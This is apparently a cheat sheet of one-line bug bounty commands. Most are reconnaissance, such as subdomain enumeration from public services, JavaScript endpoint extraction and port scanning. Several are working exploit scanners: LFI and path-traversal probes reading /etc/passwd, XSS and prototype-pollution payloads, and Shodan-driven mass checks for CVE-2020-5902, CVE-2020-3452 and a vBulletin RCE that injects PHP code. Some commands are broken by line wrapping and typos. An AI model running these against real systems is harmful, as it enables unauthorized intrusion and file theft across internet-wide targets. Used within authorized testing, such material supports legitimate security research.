One-liner Bug Bounty Tips

Definitions

This section defines specific terms or placeholders that are used throughout one-line command/scripts.

- 1.1. “HOST” defines one hostname, (sub)domain, or IP address, e.g. replaced by `internal.host`, `domain.tld`, `sub.domain.tld`, or `127.0.0.1`.
- 1.2. “HOSTS.txt” contains criteria 1.1 with more than one in file.
- 2.1. “URL” definitely defines the URL, e.g. replaced by `http://domain.tld/path/page.html` or somewhat starting with HTTP/HTTPS protocol.
- 2.2. “URLS.txt” contains criteria 2.1 with more than one in file.
- 3.1. “FILE.txt” or “FILE`{N}`.txt" means the files needed to run the command/script according to its context and needs.
- 4.1. “OUT.txt” or “OUT`{N}`.txt" means the file as the target storage result will be the command that is executed.

Local File Inclusion

@dwisiswanto

```
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh
-c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```

Open-redirect

@dwisiswanto

```
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" |
xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location:
$LHOST" && echo "VULN! %"'
```

@N3T_hunt3r

```
cat URLS.txt | gf url | tee url-redirect.txt && cat url-
redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080
-sk > /dev/null
```

XSS

@cihanmehmet

```
gospider -S URLS.txt -c 10 -d 5 --blacklist
".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)
" --other-source | grep -e "code-200" | awk '{print $5}'| grep
"=" | qsreplace -a | dalfox pipe | tee OUT.txt
```

@fanimalikhack

```
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee
FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt
```

@oliverrickfors

```
cat HOSTS.txt | getJS | httpx --match-regex
"addEventListener\((?:'|\")message(?:'|\")"
```

Prototype Pollution

@R0X4R

```
subfinder -d HOST -all -silent | httpx -silent -threads 300 |
anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//'
FILE.txt | page-fetch -j 'window.testparam == "exploit"?
"[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed
"s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```

CVE-2020–5902

@Madrobot_

```
shodan search http.favicon.hash:-335242539 "3992" --fields
ip_str,port --separator " " | awk '{print $1":"$2}' | while read
host do ;do curl --silent --path-as-is --insecure
"https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRea
d.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host
\033[0;31mVulnerable\n" || printf "$host \033[0;32mNot
Vulnerable\n";done
```

CVE-2020–3452

@vict0ni

```
while read LINE; do curl -s -k
"https://$LINE/+CSCOT+/translation-
table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-
language&lang=../" | head | grep -q "Cisco" && echo -e
"[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT
VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```

CVE-2022–0378

@7h3h4ckv157

```
cat URLS.txt | while read h do; do curl -sk
"$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemo
ve%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo
"$h: VULNERABLE"; done
```

vBulletin 5.6.2 — ‘widget_tabbedContainer_tab_panel’ Remote Code Execution

@Madrobot_

```
shodan search http.favicon.hash:-601665621 --fields ip_str,port
--separator " " | awk '{print $1":"$2}' | while read host do ;do
curl -s
http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d
'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=
phpinfo();' | grep -q phpinfo && \printf "$host
\033[0;31mVulnerable\n" || printf "$host \033[0;32mNot
Vulnerable\n";done;
```

Find JavaScript Files

@D0cK3rG33k

```
assetfinder --subs-only HOST | gau | egrep -v
'(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do
vars=$(curl -s $url | grep -Eo "var [a-zA-Zo-9_]+" | sed -e 's,
'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed
's/.*/&=xss/g'):echo -e "\e[1;33m$url\n" "\e[1;32m$vars"; done
```

Extract Endpoints from JavaScript

@renniepak

```
cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e
's/^"//' -e 's/"$//' | sort -u
```

Get CIDR & Org Information from Target Lists

@steve_mcilwain

```
for HOST in $(cat HOSTS.txt);do echo $(for ip in $(dig a $HOST
+short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " "
| paste - -; d
one | uniq); done
```

Get Subdomains from RapidDNS.io

@andirrahmani1

```
curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep
"<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed
's/#results//g' | sort -u
```

Get Subdomains from BufferOver.run

@_ayoubfathi_

```
curl -s https://dns.bufferover.run/dns?q=.HOST.com | jq -r
.FDNS_A[] | cut -d',' -f2 | sort -u
```

@AnubhavSingh_

```
export domain="HOST"; curl
"https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]'
| rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain"
```

Get Subdomains from Riddler.io

@pikpikcu

```
curl -s "https://riddler.io/search/exportcsv?q=pld:HOST" | grep
-Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

Get Subdomains from VirusTotal

@pikpikcu

```
curl -s
"https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40"
| grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-
z]))\w+" | sort -u
```

Get Subdomain with cyberxplore

@pikpikcu

```
curl https://subbuster.cyberxplore.com/api/find?domain=HOST -s |
grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+"
```

Get Subdomains from CertSpotter

@caryhooper

```
curl -s
"https://certspotter.com/api/v1/issuances?domain=HOST&include_su
bdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po
"(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

Get Subdomains from Archive

@pikpikcu

```
curl -s
"http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&
fl=original&collapse=urlkey" | sed -e 's_https*://__' -e
"s/\/.*//" | sort -u
```

Get Subdomains from JLDC

@pikpikcu

```
curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po
"((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
```

Get Subdomains from securitytrails

@pikpikcu

```
curl -s "https://securitytrails.com/list/apex_domain/HOST" |
grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+"
| grep ".HOST" | sort -u
```

Bruteforcing Subdomain using DNS Over

@pikpikcu

```
while read sub; do echo
"https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" |
parallel -j100 -q curl -s -L --silent  | grep -Po
'[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|".*?")+[}\]]{1}' |
jq | grep "name" | grep -Po "((http|https):\/\/)?(([\w.-
]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u ; done <
FILE.txt
```

Get Subdomains With sonar.omnisint.io

@pikpikcu

```
curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -
oE "[a-zA-Z0-9._-]+\.HOST" | sort -u
```

Get Subdomains With synapsint.com

@pikpikcu

```
curl --silent -X POST https://synapsint.com/report.php -d
"name=https%3A%2F%2FHOST" | grep -oE "[a-zA-Z0-9._-]+\.HOST" |
sort -u
```

Get Subdomains from crt.sh

@vict0ni

```
curl -s "https://crt.sh/?q=%25.HOST&output=json" | jq -r
'.[].name_value' | sed 's/\*\.//g' | sort -u
```

Sort & Tested Domains from Recon.dev

@stokfedrik

```
curl "https://recon.dev/api/search?key=apikey&domain=HOST" |jq -
r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent
```

Subdomain Bruteforcer with FFUF

@GochaOqradze

```
ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk
'{print $4}'
```

Find Allocated IP Ranges for ASN from IP Address

wains.be

```
whois -h whois.radb.net -i origin -T route $(whois -h
whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1)
| grep -w "route:" | awk '{print $NF}' | sort -n
```

Extract IPs from a File

@emenalf

```
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-
5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-
9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
```

Ports Scan without CloudFlare

@dwisiswanto

```
subfinder -silent -d HOST | filter-resolved | cf-check | sort -u
| naabu -rate 40000 -silent -verify | httprobe
```

Create Custom Wordlists

@tomnomnom

```
gau HOST | unfurl -u keys | tee -a FILE1.txt; gau HOST | unfurl
-u paths | tee -a FILE2.txt; sed 's#/#\n#g' FILE2.txt | sort -u
| tee -a FILE1.txt | sort -u; rm FILE2.txt  | sed -i -e
's/\.css\|\.png\|\.jpeg\|\.jpg\|\.svg\|\.gif\|\.wolf\|\.bmp//g'
FILE1.txtcat HOSTS.txt | httprobe | xargs curl | tok | tr
'[:upper:]' '[:lower:]' | sort -u | tee -a FILE.txt
```

Extracts Juicy Informations

@Prial Islam Khan

```
for sub in $(cat HOSTS.txt); do gron
"https://otx.alienvault.com/otxapi/indicator/hostname/url_list/$
sub?limit=100&page=1" | grep "\burl\b" | gron --ungron | jq |
egrep -wi 'url' | awk '{print $2}' | sed 's/"//g'| sort -u | tee
-a OUT.txt  ;done
```

Find Subdomains TakeOver

@hahwul

```
subfinder -d HOST >> FILE; assetfinder --subs-only HOST >> FILE;
amass enum -norecursive -noalts -d HOST >> FILE; subjack -w FILE
-t 100 -timeout 30 -ssl -c
$GOPATH/src/github.com/haccer/subjack/fingerprints.json -v 3 >>
takeover ;
```

Dump Custom URLs from ParamSpider

@hahwul

```
cat HOSTS.txt | xargs -I % python3 paramspider.py -l high -o
./OUT/% -d %;
```

URLs Probing with cURL + Parallel

@akita_zen

```
cat HOSTS.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk
```

Dump In-scope Assets from `chaos-bugbounty-list`

@dwisiswant0

```
curl -sL https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value'
```

Dump In-scope Assets from `bounty-targets-data`

@dwisiswant0

HackerOne Programs

```
curl -sL https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'
```

BugCrowd Programs

```
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
```

Intigriti Programs

```
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'
```

YesWeHack Programs

```
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
```

HackenProof Programs

```
curl -sL https://github.com/arkadiyt/bounty-targets-
data/raw/master/data/hackenproof_data.json | jq -r
'.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'
```

Federacy Programs

```
curl -sL https://github.com/arkadiyt/bounty-targets-
data/raw/master/data/federacy_data.json | jq -r
'.[].targets.in_scope[] | [.target, .type] | @tsv'
```

Dump URLs from sitemap.xml

@healthyoutlet

```
curl -s http://HOST/sitemap.xml | xmllint --format - | grep -e
'loc' | sed -r 's|</?loc>||g'
```

Pure Bash Linkfinder

@ntrzz

```
curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort
| uniq | grep ".js" > FILE.txt; while IFS= read link; do python
linkfinder.py -i "$link" -o cli; done < FILE.txt | grep $2 |
grep -v $3 | sort -n | uniq; rm -rf FILE.txt
```

Extract Endpoints from swagger.json

@zer0pwn

```
curl -s https://HOST/v2/swagger.json | jq '.paths | keys[]'
```

CORS Misconfiguration

@manas_hunter

```
site="URL"; gau "$site" | while read url; do target=$(curl -sIH
"Origin: https://evil.com" -X GET $url) | if grep
```

```
'https://evil.com'; then [Potentional CORS Found] echo $url;
else echo Nothing on "$url"; fi; done
```

Find Hidden Servers and/or Admin Panels

@rezo__

```
ffuf -c -u URL -H "Host: FUZZ" -w FILE.txt
```

Recon Using api.recon.dev

@z0idsec

```
curl -s -w "\n%{http_code}"
https://api.recon.dev/search?domain=HOST | jg .[].domain
```

Find Live Host/Domain/Assets

@YashGoti

```
subfinder -d HOST -silent | httpx -silent -follow-redirects -mc
200 | cut -d '/' -f3 | sort -u
```

XSS without gf

@HacktifyS

```
waybackurls HOST | grep '=' | qsreplace
'"><script>alert(1)</script>' | while read host do ; do curl -sk
--path-as-is "$host" | grep -qs "<script>alert(1)</script>" &&
echo "$host is vulnerable"; done
```

Get Subdomains from IPs

@laughface809

```
python3 hosthunter.py HOSTS.txt > OUT.txt
```

Gather Domains from Content-Security-Policy

@geeknik

```
curl -vs URL --stderr - | awk '/^content-security-policy:/' |
grep -Eo "[a-zA-Z0-9./?=_-]*" |  sed -e '/\./!d' -e '/[^A-Za-z0-
9._-]/d' -e 's/^\.//' | sort -u
```

42

2